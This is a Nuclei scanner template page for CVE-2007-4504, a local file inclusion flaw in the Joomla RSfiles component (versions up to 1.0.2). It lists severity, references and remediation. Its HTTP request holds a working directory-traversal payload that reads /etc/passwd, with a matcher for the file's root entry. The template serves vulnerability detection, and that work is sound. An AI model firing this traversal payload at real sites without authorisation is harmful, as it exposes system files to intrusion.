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Joomla! RSfiles <=1.0.2 - Local File Inclusion

ID: CVE-2007-4504

Severity: medium

Author: daffainfo

Tags: cve2007,cve,lfi,edb,joomla

Joomla! RSfiles 1.0.2 and earlier is susceptible to local file inclusion in index.php in the RSfiles component (com_rsfiles). This could allow remote attackers to arbitrarily read files via a .. (dot dot) in the path parameter in a files.display action.

id: CVE-2007-4504
info:
name: Joomla! RSfiles <=1.0.2 - Local File Inclusion
author: daffainfo
severity: medium
description: Joomla! RSfiles 1.0.2 and earlier is susceptible to local file inclusion in index.php in the RSfiles component (com_rsfiles). This could allow remote attackers to arbitrarily read files via a .. (dot dot) in the path parameter in a files.display action.
impact: |
Successful exploitation of this vulnerability can lead to unauthorized access to sensitive files and potential remote code execution.
remediation: |
Upgrade to the latest version of Joomla! RSfiles or apply the necessary patches provided by the vendor.
reference:
- https://www.exploit-db.com/exploits/4307
- https://exchange.xforce.ibmcloud.com/vulnerabilities/36222
- https://nvd.nist.gov/vuln/detail/CVE-2007-4504
- https://github.com/ARPSyndicate/kenzer-templates
classification:
cvss-metrics: CVSS:2.0/AV:N/AC:L/Au:N/C:P/I:N/A:N
cvss-score: 5
cve-id: CVE-2007-4504
cwe-id: CWE-22
epss-score: 0.02171
epss-percentile: 0.89338
cpe: cpe:2.3:a:joomla:rsfiles:*:*:*:*:*:*:*:*
metadata:
max-request: 1
vendor: joomla
product: rsfiles
tags: cve2007,cve,lfi,edb,joomla
http:
- method: GET
path:
- "{{BaseURL}}/index.php?option=com_rsfiles&task=files.display&path=../../../../../../../../../etc/passwd"
matchers-condition: and
matchers:
- type: regex
regex:
- "root:.*:0:0:"
- type: status
status:
- 200
# digest: 4b0a00483046022100deeb4b915224e53d71b53fe9dfa45937fa95b10548167b9f7332303964ba8d94022100a4e0ec1855de9b3a881f2933c730faef2d924307336ded59ee647145a2285aa3:922c64590222798bb761d5b6d8e72950

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

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$ nuclei -u "URL" -t "http/cves/2007/CVE-2007-4504.yaml"

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